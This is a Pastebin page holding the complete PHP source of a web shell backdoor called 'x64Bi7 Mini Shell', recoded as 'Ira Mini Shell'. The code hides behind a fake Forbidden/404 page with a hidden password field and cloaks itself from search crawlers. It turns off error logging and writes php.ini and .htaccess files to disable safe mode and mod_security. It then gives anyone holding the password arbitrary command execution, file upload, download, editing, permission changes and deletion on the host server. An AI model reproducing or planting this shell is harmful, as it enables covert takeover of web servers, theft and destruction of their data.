Advertisement
fadlyid

Mini shell V.2

Jun 16th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.00 KB | None | 0 0
  1. <?php
  2.  
  3. ////////////////////////////////////////////////////////////////////////
  4. //      x64Bi7 Mini Shell Backdoor
  5. //      Recoded     : Mr.UdinDotID     
  6. //      Version     : 2.0                                              
  7. //      Site        : https://garudasecurityhacker.blogspot.com
  8. //      Facebook    : https://www.facebook.com/gshofficialpageindonesia                                        
  9. ////////////////////////////////////////////////////////////////////////
  10. session_start();
  11. error_reporting(0);
  12. set_time_limit(0);
  13. @set_magic_quotes_runtime(0);
  14. @clearstatcache();
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @ini_set('output_buffering',0);
  19. @ini_set('display_errors', 0);
  20. $auth_pass = "91910e838449de04168c4140458d7455"; // pass : fadlyloveiraa
  21. $errorforbidden = $_SERVER['REQUEST_URI'];
  22. $color = "#000000";
  23. $default_action = 'FilesMan';
  24. $default_use_ajax = true;
  25. $default_charset = 'UTF-8';
  26. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  27.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  28.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  29.         header('HTTP/1.0 404 Not Found');
  30.         exit;
  31.     }
  32. }
  33.  
  34. function login_shell() {
  35. ?>
  36. <html><head>
  37. <title>Tidak Bisa Diakses.</title>
  38. </head><body>
  39. <h1>Forbidden</h1>
  40. <p>You don't have permission to access <? print $errorforbidden; ?>
  41.  on this server.</p><address><hr>
  42. <p>Additionally, a 404 Not Found
  43. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  44. <br>
  45. </body>
  46. </html>
  47. <center>
  48. <form style="display: none;" method="post">
  49. <input type="password" name="pass">
  50. </form>
  51. </center>
  52. <?php
  53. exit;
  54. }
  55. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  56.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  57.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  58.     else
  59.         login_shell();
  60. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  61.     @ob_clean();
  62.     $file = $_GET['file'];
  63.     header('Content-Description: File Transfer');
  64.     header('Content-Type: application/octet-stream');
  65.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  66.     header('Expires: 0');
  67.     header('Cache-Control: must-revalidate');
  68.     header('Pragma: public');
  69.     header('Content-Length: ' . filesize($file));
  70.     readfile($file);
  71.     exit;
  72. }
  73. ?>
  74. <?php
  75. if (file_exists("php.ini")){
  76. }else{
  77. $img = fopen('php.ini', 'w');
  78. $sec = "safe_mode = OFF
  79. disable_funtions = NONE";
  80. fwrite($img ,$sec);
  81. fclose($img);}
  82. if (file_exists(".htaccess")){
  83. }else{
  84. $img2 = fopen('.htaccess', 'w');
  85. $sec2 = "<IfModule mod_security.c>
  86.         SecFilterEngine Off
  87.         SecFilterScanPOST Off
  88.         </IfModule>";
  89. fwrite($img2 ,$sec2);
  90. fclose($img2);}
  91. $inids = @ini_get("disable_functions");
  92. $liatds = (!empty($ds)) ? "<font color='white'>$inids</font>" : "<b><font color='white'>Semua Berfungsi bos :v</font></b>";
  93. if(get_magic_quotes_gpc()){
  94. foreach($_POST as $key=>$value){
  95. $_POST[$key] = stripslashes($value);
  96. }
  97. }
  98. echo '<!DOCTYPE HTML>
  99. <html>
  100. <head>
  101. <link href="" rel="stylesheet" type="text/css">
  102. <title>Sayang Ira Selalu :*</title>
  103. <style>
  104. body{
  105.     font-family: "Racing Sans One", cursive;
  106.     background-color:#2c373a;
  107.     background-repeat: no-repeat;
  108.     background-size:500px;
  109.     color:white;
  110.    
  111.     background-size:100px;
  112.    
  113.     background-color:transparan;
  114.    
  115. }
  116. #content tr:hover{
  117. background-color: white;
  118. text-shadow:0px 0px 10px #fff;
  119. }
  120. #content .first{
  121. background-color: #303030;
  122. }
  123. table{
  124. border: 1px #000000 dotted;
  125. }
  126. a{
  127. color:white;
  128. text-decoration: none;
  129. }
  130. a:hover{
  131. color:red;
  132. }
  133. input,select,textarea{
  134. border: 1px #000000 solid;
  135. -moz-border-radius: 5px;
  136. -webkit-border-radius:5px;
  137. border-radius:5px;
  138. }
  139. fi{
  140. color:#202020;
  141. text-shadow:0px 0px 22px #ffffff;
  142. }
  143. </style>
  144. </head>
  145. <body>
  146. <h1><center><fi>Ira Mini Shell<br><font size="3">Recoded Mr.UdinDotID From x64BackdoorIndonesian17</font></fi></center></h1>
  147. <center><img src="http://pa1.narvii.com/6281/d22603d5eed8f2d777c81bfefef7813ed2af09b0_hq.gif"></center>
  148. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  149. <tr><td>';
  150. echo "Disable Functions: $liatds";
  151. echo '<br><font color="white">Path :</font> ';
  152. if(isset($_GET['path'])){
  153. $path = $_GET['path'];
  154. }else{
  155. $path = getcwd();
  156. }
  157. $path = str_replace('\\','/',$path);
  158. $paths = explode('/',$path);
  159.  
  160. foreach($paths as $id=>$pat){
  161. if($pat == '' && $id == 0){
  162. $a = true;
  163. echo '<a href="?path=/">/</a>';
  164. continue;
  165. }
  166. if($pat == '') continue;
  167. echo '<a href="?path=';
  168. for($i=0;$i<=$id;$i++){
  169. echo "$paths[$i]";
  170. if($i != $id) echo "/";
  171. }
  172. echo '">'.$pat.'</a>/';
  173. }
  174. echo '</td></tr><tr><td>';
  175. if(isset($_FILES['file'])){
  176. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  177. echo '<font color="white">Upload Berhasil</font><br />';
  178. }else{
  179. echo '<font color="white">Upload Gagal</font><br/>';
  180. }
  181. }
  182. echo '<form enctype="multipart/form-data" method="POST">
  183. <font color="white">File Upload :</font> <input type="file" name="file" />
  184. <input type="submit" value="upload" />
  185. </form>';
  186. echo "<form method='post'>
  187. <font color='white'>Command :</font>
  188. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  189. </form>
  190. </td></tr>";
  191. if($_POST['execmd']) {
  192. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:white; background-color:#303030;'>".exe($_POST['cmd'])."</textarea></center>";
  193. }
  194. echo "<br></td></tr>";
  195. if(isset($_GET['filesrc'])){
  196. echo "<tr><td>Current File : ";
  197. echo $_GET['filesrc'];
  198. echo '</tr></td></table><br />';
  199. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  200. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  201. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  202. if($_POST['opt'] == 'chmod'){
  203. if(isset($_POST['perm'])){
  204. if(chmod($_POST['path'],$_POST['perm'])){
  205. echo '<font color="white">Change Permission Berhasil</font><br/>';
  206. }else{
  207. echo '<font color="white">Change Permission Gagal</font><br />';
  208. }
  209. }
  210. echo '<form method="POST">
  211. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  212. <input type="hidden" name="path" value="'.$_POST['path'].'">
  213. <input type="hidden" name="opt" value="chmod">
  214. <input type="submit" value="Go" />
  215. </form>';
  216. }elseif($_POST['opt'] == 'rename'){
  217. if(isset($_POST['newname'])){
  218. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  219. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  220. }else{
  221. echo '<font color="white">Ganti Nama Gagal</font><br />';
  222. }
  223. $_POST['name'] = $_POST['newname'];
  224. }
  225. echo '<form method="POST">
  226. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  227. <input type="hidden" name="path" value="'.$_POST['path'].'">
  228. <input type="hidden" name="opt" value="rename">
  229. <input type="submit" value="Go" />
  230. </form>';
  231. }elseif($_POST['opt'] == 'edit'){
  232. if(isset($_POST['src'])){
  233. $fp = fopen($_POST['path'],'w');
  234. if(fwrite($fp,$_POST['src'])){
  235. echo '<font color="white">Berhasil Edit File</font><br/>';
  236. }else{
  237. echo '<font color="white">Gagal Edit File</font><br/>';
  238. }
  239. fclose($fp);
  240. }
  241. echo '<form method="POST">
  242. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  243. <input type="hidden" name="path" value="'.$_POST['path'].'">
  244. <input type="hidden" name="opt" value="edit">
  245. <input type="submit" value="Save" />
  246. </form>';
  247. }
  248. echo '</center>';
  249. }else{
  250. echo '</table><br/><center>';
  251. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  252. if($_POST['type'] == 'dir'){
  253. if(rmdir($_POST['path'])){
  254. echo '<font color="white">Directory Terhapus</font><br/>';
  255. }else{
  256. echo '<font color="white">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  257. }
  258. }elseif($_POST['type'] == 'file'){
  259. if(unlink($_POST['path'])){
  260. echo '<font color="white">File Terhapus</font><br/>';
  261. }else{
  262. echo '<font color="white">File Gagal Dihapus</font><br/>';
  263. }
  264. }
  265. }
  266. echo '</center>';
  267. $scandir = scandir($path);
  268. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  269. <tr class="first">
  270. <td><center>Name</peller></center></td>
  271. <td><center>Size</peller></center></td>
  272. <td><center>Permission</peller></center></td>
  273. <td><center>Modify</peller></center></td>
  274. </tr>';
  275.  
  276. foreach($scandir as $dir){
  277. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  278. echo '<tr>
  279. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  280. <td><center>--</center></td>
  281. <td><center>';
  282. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  283. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  284. echo perms($path.'/'.$dir);
  285. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  286.  
  287. echo '</center></td>
  288. <td><center><form method="POST" action="?option&path='.$path.'">
  289. <select name="opt">
  290. <option value="">Select</option>
  291. <option value="delete">Delete</option>
  292. <option value="chmod">Kontol</option>
  293. <option value="rename">Ubah Nama</option>
  294. </select>
  295. <input type="hidden" name="type" value="dir">
  296. <input type="hidden" name="name" value="'.$dir.'">
  297. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  298. <input type="submit" value=">">
  299. </form></center></td>
  300. </tr>';
  301. }
  302. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  303. foreach($scandir as $file){
  304. if(!is_file($path.'/'.$file)) continue;
  305. $size = filesize($path.'/'.$file)/1024;
  306. $size = round($size,3);
  307. if($size >= 1024){
  308. $size = round($size/1024,2).' MB';
  309. }else{
  310. $size = $size.' KB';
  311. }
  312.  
  313. echo '<tr>
  314. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  315. <td><center>'.$size.'</center></td>
  316. <td><center>';
  317. if(is_writable($path.'/'.$file)) echo '<font color="white">';
  318. elseif(!is_readable($path.'/'.$file)) echo '<font color="white">';
  319. echo perms($path.'/'.$file);
  320. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  321. echo '</center></td>
  322. <td><center><form method="POST" action="?option&path='.$path.'">
  323. <select name="opt">
  324. <option value="">Select</option>
  325. <option value="delete">Delete</option>
  326. <option value="chmod">Chmod</option>
  327. <option value="rename">Rename</option>
  328. <option value="edit">Edit</option>
  329. </select>
  330. <input type="hidden" name="type" value="file">
  331. <input type="hidden" name="name" value="'.$file.'">
  332. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  333. <input type="submit" value=">">
  334. </form></center></td>
  335. </tr>';
  336. }
  337. echo '</table>
  338. </div>';
  339. }
  340. echo '<center><br/><a link="nofollow" href="https://www.facebook.com/hacktivist.team><font color="white">Contact me</font></a><br>';
  341. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  342. </center>
  343. </body>
  344. </html>";
  345. if($_GET['go'] == 'cabs') {
  346.    
  347.  
  348. echo '<form action="" method="post">';
  349.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  350.     echo '<meta http-equiv="refresh" content="3" />';
  351. }
  352.  
  353. function perms($file){
  354. $perms = fileperms($file);
  355.  
  356. if (($perms & 0xC000) == 0xC000) {
  357. // Socket
  358. $info = 's';
  359. } elseif (($perms & 0xA000) == 0xA000) {
  360. // Symbolic Link
  361. $info = 'l';
  362. } elseif (($perms & 0x8000) == 0x8000) {
  363. // Regular
  364. $info = '-';
  365. } elseif (($perms & 0x6000) == 0x6000) {
  366. // Block special
  367. $info = 'b';
  368. } elseif (($perms & 0x4000) == 0x4000) {
  369. // Directory
  370. $info = 'd';
  371. } elseif (($perms & 0x2000) == 0x2000) {
  372. // Character special
  373. $info = 'c';
  374. } elseif (($perms & 0x1000) == 0x1000) {
  375. // FIFO pipe
  376. $info = 'p';
  377. } else {
  378. // Unknown
  379. $info = 'u';
  380. }
  381.  
  382. // Owner
  383. $info .= (($perms & 0x0100) ? 'r' : '-');
  384. $info .= (($perms & 0x0080) ? 'w' : '-');
  385. $info .= (($perms & 0x0040) ?
  386. (($perms & 0x0800) ? 's' : 'x' ) :
  387. (($perms & 0x0800) ? 'S' : '-'));
  388.  
  389. // Group
  390. $info .= (($perms & 0x0020) ? 'r' : '-');
  391. $info .= (($perms & 0x0010) ? 'w' : '-');
  392. $info .= (($perms & 0x0008) ?
  393. (($perms & 0x0400) ? 's' : 'x' ) :
  394. (($perms & 0x0400) ? 'S' : '-'));
  395.  
  396. // World
  397. $info .= (($perms & 0x0004) ? 'r' : '-');
  398. $info .= (($perms & 0x0002) ? 'w' : '-');
  399. $info .= (($perms & 0x0001) ?
  400. (($perms & 0x0200) ? 't' : 'x' ) :
  401. (($perms & 0x0200) ? 'T' : '-'));
  402.  
  403. return $info;
  404. }
  405. //////all functions disini tempatnya/////
  406. function exe($cmd) {    
  407. if(function_exists('system')) {        
  408.         @ob_start();       
  409.         @system($cmd);     
  410.         $buff = @ob_get_contents();        
  411.         @ob_end_clean();       
  412.         return $buff;  
  413.     } elseif(function_exists('exec')) {        
  414.         @exec($cmd,$results);      
  415.         $buff = "";        
  416.         foreach($results as $result) {         
  417.             $buff .= $result;      
  418.         } return $buff;    
  419.     } elseif(function_exists('passthru')) {        
  420.         @ob_start();       
  421.         @passthru($cmd);       
  422.         $buff = @ob_get_contents();        
  423.         @ob_end_clean();  
  424.         return $buff;  
  425.     } elseif(function_exists('shell_exec')) {      
  426.         $buff = @shell_exec($cmd);     
  427.         return $buff;  
  428.     }
  429. }
  430. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement